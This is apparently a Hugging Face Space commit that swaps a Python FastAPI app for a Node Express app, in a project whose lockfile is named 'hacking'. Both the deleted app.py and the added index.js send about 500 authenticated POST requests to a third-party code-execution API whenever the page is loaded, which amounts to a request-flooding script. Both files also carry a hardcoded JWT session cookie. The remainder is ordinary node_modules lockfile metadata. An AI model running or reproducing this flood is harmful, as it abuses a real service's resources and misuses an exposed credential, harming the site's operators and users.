Spaces:
Running
Running
Aditya Sharma
commited on
Commit
·
1719261
1
Parent(s):
7397b67
update
Browse filesThis view is limited to 50 files because it contains too many changes.
See raw diff
- Dockerfile +4 -4
- app.py +0 -56
- index.js +32 -0
- node_modules/.package-lock.json +817 -0
- node_modules/accepts/HISTORY.md +250 -0
- node_modules/accepts/LICENSE +23 -0
- node_modules/accepts/README.md +140 -0
- node_modules/accepts/index.js +238 -0
- node_modules/accepts/package.json +47 -0
- node_modules/body-parser/HISTORY.md +731 -0
- node_modules/body-parser/LICENSE +23 -0
- node_modules/body-parser/README.md +491 -0
- node_modules/body-parser/index.js +80 -0
- node_modules/body-parser/lib/read.js +210 -0
- node_modules/body-parser/lib/types/json.js +206 -0
- node_modules/body-parser/lib/types/raw.js +75 -0
- node_modules/body-parser/lib/types/text.js +80 -0
- node_modules/body-parser/lib/types/urlencoded.js +177 -0
- node_modules/body-parser/lib/utils.js +83 -0
- node_modules/body-parser/package.json +49 -0
- node_modules/bytes/History.md +97 -0
- node_modules/bytes/LICENSE +23 -0
- node_modules/bytes/Readme.md +152 -0
- node_modules/bytes/index.js +170 -0
- node_modules/bytes/package.json +42 -0
- node_modules/call-bind-apply-helpers/.eslintrc +17 -0
- node_modules/call-bind-apply-helpers/.github/FUNDING.yml +12 -0
- node_modules/call-bind-apply-helpers/.nycrc +9 -0
- node_modules/call-bind-apply-helpers/CHANGELOG.md +30 -0
- node_modules/call-bind-apply-helpers/LICENSE +21 -0
- node_modules/call-bind-apply-helpers/README.md +62 -0
- node_modules/call-bind-apply-helpers/actualApply.d.ts +1 -0
- node_modules/call-bind-apply-helpers/actualApply.js +10 -0
- node_modules/call-bind-apply-helpers/applyBind.d.ts +19 -0
- node_modules/call-bind-apply-helpers/applyBind.js +10 -0
- node_modules/call-bind-apply-helpers/functionApply.d.ts +1 -0
- node_modules/call-bind-apply-helpers/functionApply.js +4 -0
- node_modules/call-bind-apply-helpers/functionCall.d.ts +1 -0
- node_modules/call-bind-apply-helpers/functionCall.js +4 -0
- node_modules/call-bind-apply-helpers/index.d.ts +64 -0
- node_modules/call-bind-apply-helpers/index.js +15 -0
- node_modules/call-bind-apply-helpers/package.json +85 -0
- node_modules/call-bind-apply-helpers/reflectApply.d.ts +3 -0
- node_modules/call-bind-apply-helpers/reflectApply.js +4 -0
- node_modules/call-bind-apply-helpers/test/index.js +63 -0
- node_modules/call-bind-apply-helpers/tsconfig.json +9 -0
- node_modules/call-bound/.eslintrc +13 -0
- node_modules/call-bound/.github/FUNDING.yml +12 -0
- node_modules/call-bound/.nycrc +9 -0
- node_modules/call-bound/CHANGELOG.md +42 -0
Dockerfile
CHANGED
@@ -1,4 +1,4 @@
|
|
1 |
-
FROM
|
2 |
|
3 |
RUN useradd -m -u 1000 user
|
4 |
USER user
|
@@ -6,8 +6,8 @@ ENV PATH="/home/user/.local/bin:$PATH"
|
|
6 |
|
7 |
WORKDIR /app
|
8 |
|
9 |
-
COPY --chown=user
|
10 |
-
RUN
|
11 |
|
12 |
COPY --chown=user . /app
|
13 |
-
CMD ["
|
|
|
1 |
+
FROM node:18
|
2 |
|
3 |
RUN useradd -m -u 1000 user
|
4 |
USER user
|
|
|
6 |
|
7 |
WORKDIR /app
|
8 |
|
9 |
+
COPY --chown=user package.json package-lock.json* ./
|
10 |
+
RUN npm install --no-audit --no-fund
|
11 |
|
12 |
COPY --chown=user . /app
|
13 |
+
CMD ["npm", "start"]
|
app.py
DELETED
@@ -1,56 +0,0 @@
|
|
1 |
-
from fastapi import FastAPI
|
2 |
-
import requests
|
3 |
-
import json
|
4 |
-
|
5 |
-
headers = {
|
6 |
-
"content-type": "application/json",
|
7 |
-
"cookie": "accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMzNDgzN2VmLWJkYWUtNDNjNy04NTk5LTUzOTRkYjc5ZGM4ZiIsInJvbGUiOiJDT0RFUiIsImlhdCI6MTc1MDUxNjI2NSwiZXhwIjoxNzUwNjAyNjY1fQ.gJFfLcpuOccdxAtbHsjM6who0RGA1E_b3cTSNjWfwGs",
|
8 |
-
"Referer": "https://www.leetlabs.in/",
|
9 |
-
}
|
10 |
-
payload = {
|
11 |
-
"source_code": """/**
|
12 |
-
* Finds the kth permutation sequence.
|
13 |
-
* @param {number} n - Size of the set
|
14 |
-
* @param {number} k - kth permutation (1-based)
|
15 |
-
* @return {string} - kth permutation sequence
|
16 |
-
*/
|
17 |
-
function getPermutation(n, k) {
|
18 |
-
// Write your code here
|
19 |
-
return "";
|
20 |
-
}
|
21 |
-
|
22 |
-
// Input handling
|
23 |
-
const readline = require("readline");
|
24 |
-
const rl = readline.createInterface({
|
25 |
-
input: process.stdin,
|
26 |
-
output: process.stdout,
|
27 |
-
terminal: false
|
28 |
-
});
|
29 |
-
|
30 |
-
rl.on("line", (line) => {
|
31 |
-
try {
|
32 |
-
const [n, k] = line.trim().split(",").map(num => parseInt(num.trim()));
|
33 |
-
const result = getPermutation(n, k);
|
34 |
-
console.log(result);
|
35 |
-
} catch (e) {
|
36 |
-
console.log("Invalid input format");
|
37 |
-
process.exit(1);
|
38 |
-
}
|
39 |
-
rl.close();
|
40 |
-
});""",
|
41 |
-
"language_id": 63,
|
42 |
-
"stdin": ["3,3", "4,9", "2,1"],
|
43 |
-
"expected_outputs": ["213", "2314", "12"]
|
44 |
-
}
|
45 |
-
|
46 |
-
app = FastAPI()
|
47 |
-
|
48 |
-
@app.get("/")
|
49 |
-
def greet_json():
|
50 |
-
for i in range(500):
|
51 |
-
try:
|
52 |
-
url = f"https://api.leetlabs.in/api/v1/execute-code/run?id={i}"
|
53 |
-
requests.post(url, headers=headers, data=json.dumps(payload))
|
54 |
-
except Exception as e:
|
55 |
-
print(f"Error with ID {i}: {e}")
|
56 |
-
return {"Hello": "World!"}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
index.js
ADDED
@@ -0,0 +1,32 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const express = require("express");
|
2 |
+
|
3 |
+
const app = express()
|
4 |
+
|
5 |
+
const PORT = 7860;
|
6 |
+
|
7 |
+
app.get("/", (req, res)=>{
|
8 |
+
let i = 1;
|
9 |
+
|
10 |
+
while (i <= 500) {
|
11 |
+
i++;
|
12 |
+
|
13 |
+
fetch("https://api.leetlabs.in/api/v1/execute-code/run", {
|
14 |
+
"headers": {
|
15 |
+
"content-type": "application/json",
|
16 |
+
"cookie": "accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMzNDgzN2VmLWJkYWUtNDNjNy04NTk5LTUzOTRkYjc5ZGM4ZiIsInJvbGUiOiJDT0RFUiIsImlhdCI6MTc1MDUxNjI2NSwiZXhwIjoxNzUwNjAyNjY1fQ.gJFfLcpuOccdxAtbHsjM6who0RGA1E_b3cTSNjWfwGs",
|
17 |
+
"Referer": "https://www.leetlabs.in/",
|
18 |
+
},
|
19 |
+
"body": "{\"source_code\":\"/**\\n * Finds the kth permutation sequence.\\n * @param {number} n - Size of the set\\n * @param {number} k - kth permutation (1-based)\\n * @return {string} - kth permutation sequence\\n */\\nfunction getPermutation(n, k) {\\n // Write your code here\\n return \\\"\\\";\\n}\\n\\n// Input handling\\nconst readline = require(\\\"readline\\\");\\nconst rl = readline.createInterface({\\n input: process.stdin,\\n output: process.stdout,\\n terminal: false\\n});\\n\\nrl.on(\\\"line\\\", (line) => {\\n try {\\n const [n, k] = line.trim().split(\\\",\\\").map(num => parseInt(num.trim()));\\n const result = getPermutation(n, k);\\n console.log(result);\\n } catch (e) {\\n console.log(\\\"Invalid input format\\\");\\n process.exit(1);\\n }\\n rl.close();\\n});\",\"language_id\":63,\"stdin\":[\"3,3\",\"4,9\",\"2,1\"],\"expected_outputs\":[\"213\",\"2314\",\"12\"]}",
|
20 |
+
"method": "POST"
|
21 |
+
})
|
22 |
+
|
23 |
+
console.log(i);
|
24 |
+
}
|
25 |
+
|
26 |
+
res.status(200).json({ sucecss:true })
|
27 |
+
})
|
28 |
+
|
29 |
+
app.listen(PORT, (err)=>{
|
30 |
+
if(err)console.error(err);
|
31 |
+
console.log("Server running on port "+ PORT);
|
32 |
+
})
|
node_modules/.package-lock.json
ADDED
@@ -0,0 +1,817 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"name": "hacking",
|
3 |
+
"version": "1.0.0",
|
4 |
+
"lockfileVersion": 3,
|
5 |
+
"requires": true,
|
6 |
+
"packages": {
|
7 |
+
"node_modules/accepts": {
|
8 |
+
"version": "2.0.0",
|
9 |
+
"resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz",
|
10 |
+
"integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==",
|
11 |
+
"license": "MIT",
|
12 |
+
"dependencies": {
|
13 |
+
"mime-types": "^3.0.0",
|
14 |
+
"negotiator": "^1.0.0"
|
15 |
+
},
|
16 |
+
"engines": {
|
17 |
+
"node": ">= 0.6"
|
18 |
+
}
|
19 |
+
},
|
20 |
+
"node_modules/body-parser": {
|
21 |
+
"version": "2.2.0",
|
22 |
+
"resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.2.0.tgz",
|
23 |
+
"integrity": "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg==",
|
24 |
+
"license": "MIT",
|
25 |
+
"dependencies": {
|
26 |
+
"bytes": "^3.1.2",
|
27 |
+
"content-type": "^1.0.5",
|
28 |
+
"debug": "^4.4.0",
|
29 |
+
"http-errors": "^2.0.0",
|
30 |
+
"iconv-lite": "^0.6.3",
|
31 |
+
"on-finished": "^2.4.1",
|
32 |
+
"qs": "^6.14.0",
|
33 |
+
"raw-body": "^3.0.0",
|
34 |
+
"type-is": "^2.0.0"
|
35 |
+
},
|
36 |
+
"engines": {
|
37 |
+
"node": ">=18"
|
38 |
+
}
|
39 |
+
},
|
40 |
+
"node_modules/bytes": {
|
41 |
+
"version": "3.1.2",
|
42 |
+
"resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
|
43 |
+
"integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
|
44 |
+
"license": "MIT",
|
45 |
+
"engines": {
|
46 |
+
"node": ">= 0.8"
|
47 |
+
}
|
48 |
+
},
|
49 |
+
"node_modules/call-bind-apply-helpers": {
|
50 |
+
"version": "1.0.2",
|
51 |
+
"resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
|
52 |
+
"integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
|
53 |
+
"license": "MIT",
|
54 |
+
"dependencies": {
|
55 |
+
"es-errors": "^1.3.0",
|
56 |
+
"function-bind": "^1.1.2"
|
57 |
+
},
|
58 |
+
"engines": {
|
59 |
+
"node": ">= 0.4"
|
60 |
+
}
|
61 |
+
},
|
62 |
+
"node_modules/call-bound": {
|
63 |
+
"version": "1.0.4",
|
64 |
+
"resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
|
65 |
+
"integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
|
66 |
+
"license": "MIT",
|
67 |
+
"dependencies": {
|
68 |
+
"call-bind-apply-helpers": "^1.0.2",
|
69 |
+
"get-intrinsic": "^1.3.0"
|
70 |
+
},
|
71 |
+
"engines": {
|
72 |
+
"node": ">= 0.4"
|
73 |
+
},
|
74 |
+
"funding": {
|
75 |
+
"url": "https://github.com/sponsors/ljharb"
|
76 |
+
}
|
77 |
+
},
|
78 |
+
"node_modules/content-disposition": {
|
79 |
+
"version": "1.0.0",
|
80 |
+
"resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.0.0.tgz",
|
81 |
+
"integrity": "sha512-Au9nRL8VNUut/XSzbQA38+M78dzP4D+eqg3gfJHMIHHYa3bg067xj1KxMUWj+VULbiZMowKngFFbKczUrNJ1mg==",
|
82 |
+
"license": "MIT",
|
83 |
+
"dependencies": {
|
84 |
+
"safe-buffer": "5.2.1"
|
85 |
+
},
|
86 |
+
"engines": {
|
87 |
+
"node": ">= 0.6"
|
88 |
+
}
|
89 |
+
},
|
90 |
+
"node_modules/content-type": {
|
91 |
+
"version": "1.0.5",
|
92 |
+
"resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
|
93 |
+
"integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
|
94 |
+
"license": "MIT",
|
95 |
+
"engines": {
|
96 |
+
"node": ">= 0.6"
|
97 |
+
}
|
98 |
+
},
|
99 |
+
"node_modules/cookie": {
|
100 |
+
"version": "0.7.2",
|
101 |
+
"resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
|
102 |
+
"integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==",
|
103 |
+
"license": "MIT",
|
104 |
+
"engines": {
|
105 |
+
"node": ">= 0.6"
|
106 |
+
}
|
107 |
+
},
|
108 |
+
"node_modules/cookie-signature": {
|
109 |
+
"version": "1.2.2",
|
110 |
+
"resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz",
|
111 |
+
"integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==",
|
112 |
+
"license": "MIT",
|
113 |
+
"engines": {
|
114 |
+
"node": ">=6.6.0"
|
115 |
+
}
|
116 |
+
},
|
117 |
+
"node_modules/debug": {
|
118 |
+
"version": "4.4.1",
|
119 |
+
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz",
|
120 |
+
"integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==",
|
121 |
+
"license": "MIT",
|
122 |
+
"dependencies": {
|
123 |
+
"ms": "^2.1.3"
|
124 |
+
},
|
125 |
+
"engines": {
|
126 |
+
"node": ">=6.0"
|
127 |
+
},
|
128 |
+
"peerDependenciesMeta": {
|
129 |
+
"supports-color": {
|
130 |
+
"optional": true
|
131 |
+
}
|
132 |
+
}
|
133 |
+
},
|
134 |
+
"node_modules/depd": {
|
135 |
+
"version": "2.0.0",
|
136 |
+
"resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
|
137 |
+
"integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
|
138 |
+
"license": "MIT",
|
139 |
+
"engines": {
|
140 |
+
"node": ">= 0.8"
|
141 |
+
}
|
142 |
+
},
|
143 |
+
"node_modules/dunder-proto": {
|
144 |
+
"version": "1.0.1",
|
145 |
+
"resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
|
146 |
+
"integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
|
147 |
+
"license": "MIT",
|
148 |
+
"dependencies": {
|
149 |
+
"call-bind-apply-helpers": "^1.0.1",
|
150 |
+
"es-errors": "^1.3.0",
|
151 |
+
"gopd": "^1.2.0"
|
152 |
+
},
|
153 |
+
"engines": {
|
154 |
+
"node": ">= 0.4"
|
155 |
+
}
|
156 |
+
},
|
157 |
+
"node_modules/ee-first": {
|
158 |
+
"version": "1.1.1",
|
159 |
+
"resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
|
160 |
+
"integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
|
161 |
+
"license": "MIT"
|
162 |
+
},
|
163 |
+
"node_modules/encodeurl": {
|
164 |
+
"version": "2.0.0",
|
165 |
+
"resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
|
166 |
+
"integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
|
167 |
+
"license": "MIT",
|
168 |
+
"engines": {
|
169 |
+
"node": ">= 0.8"
|
170 |
+
}
|
171 |
+
},
|
172 |
+
"node_modules/es-define-property": {
|
173 |
+
"version": "1.0.1",
|
174 |
+
"resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
|
175 |
+
"integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
|
176 |
+
"license": "MIT",
|
177 |
+
"engines": {
|
178 |
+
"node": ">= 0.4"
|
179 |
+
}
|
180 |
+
},
|
181 |
+
"node_modules/es-errors": {
|
182 |
+
"version": "1.3.0",
|
183 |
+
"resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
|
184 |
+
"integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
|
185 |
+
"license": "MIT",
|
186 |
+
"engines": {
|
187 |
+
"node": ">= 0.4"
|
188 |
+
}
|
189 |
+
},
|
190 |
+
"node_modules/es-object-atoms": {
|
191 |
+
"version": "1.1.1",
|
192 |
+
"resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
|
193 |
+
"integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
|
194 |
+
"license": "MIT",
|
195 |
+
"dependencies": {
|
196 |
+
"es-errors": "^1.3.0"
|
197 |
+
},
|
198 |
+
"engines": {
|
199 |
+
"node": ">= 0.4"
|
200 |
+
}
|
201 |
+
},
|
202 |
+
"node_modules/escape-html": {
|
203 |
+
"version": "1.0.3",
|
204 |
+
"resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
|
205 |
+
"integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==",
|
206 |
+
"license": "MIT"
|
207 |
+
},
|
208 |
+
"node_modules/etag": {
|
209 |
+
"version": "1.8.1",
|
210 |
+
"resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
|
211 |
+
"integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
|
212 |
+
"license": "MIT",
|
213 |
+
"engines": {
|
214 |
+
"node": ">= 0.6"
|
215 |
+
}
|
216 |
+
},
|
217 |
+
"node_modules/express": {
|
218 |
+
"version": "5.1.0",
|
219 |
+
"resolved": "https://registry.npmjs.org/express/-/express-5.1.0.tgz",
|
220 |
+
"integrity": "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA==",
|
221 |
+
"license": "MIT",
|
222 |
+
"dependencies": {
|
223 |
+
"accepts": "^2.0.0",
|
224 |
+
"body-parser": "^2.2.0",
|
225 |
+
"content-disposition": "^1.0.0",
|
226 |
+
"content-type": "^1.0.5",
|
227 |
+
"cookie": "^0.7.1",
|
228 |
+
"cookie-signature": "^1.2.1",
|
229 |
+
"debug": "^4.4.0",
|
230 |
+
"encodeurl": "^2.0.0",
|
231 |
+
"escape-html": "^1.0.3",
|
232 |
+
"etag": "^1.8.1",
|
233 |
+
"finalhandler": "^2.1.0",
|
234 |
+
"fresh": "^2.0.0",
|
235 |
+
"http-errors": "^2.0.0",
|
236 |
+
"merge-descriptors": "^2.0.0",
|
237 |
+
"mime-types": "^3.0.0",
|
238 |
+
"on-finished": "^2.4.1",
|
239 |
+
"once": "^1.4.0",
|
240 |
+
"parseurl": "^1.3.3",
|
241 |
+
"proxy-addr": "^2.0.7",
|
242 |
+
"qs": "^6.14.0",
|
243 |
+
"range-parser": "^1.2.1",
|
244 |
+
"router": "^2.2.0",
|
245 |
+
"send": "^1.1.0",
|
246 |
+
"serve-static": "^2.2.0",
|
247 |
+
"statuses": "^2.0.1",
|
248 |
+
"type-is": "^2.0.1",
|
249 |
+
"vary": "^1.1.2"
|
250 |
+
},
|
251 |
+
"engines": {
|
252 |
+
"node": ">= 18"
|
253 |
+
},
|
254 |
+
"funding": {
|
255 |
+
"type": "opencollective",
|
256 |
+
"url": "https://opencollective.com/express"
|
257 |
+
}
|
258 |
+
},
|
259 |
+
"node_modules/finalhandler": {
|
260 |
+
"version": "2.1.0",
|
261 |
+
"resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.0.tgz",
|
262 |
+
"integrity": "sha512-/t88Ty3d5JWQbWYgaOGCCYfXRwV1+be02WqYYlL6h0lEiUAMPM8o8qKGO01YIkOHzka2up08wvgYD0mDiI+q3Q==",
|
263 |
+
"license": "MIT",
|
264 |
+
"dependencies": {
|
265 |
+
"debug": "^4.4.0",
|
266 |
+
"encodeurl": "^2.0.0",
|
267 |
+
"escape-html": "^1.0.3",
|
268 |
+
"on-finished": "^2.4.1",
|
269 |
+
"parseurl": "^1.3.3",
|
270 |
+
"statuses": "^2.0.1"
|
271 |
+
},
|
272 |
+
"engines": {
|
273 |
+
"node": ">= 0.8"
|
274 |
+
}
|
275 |
+
},
|
276 |
+
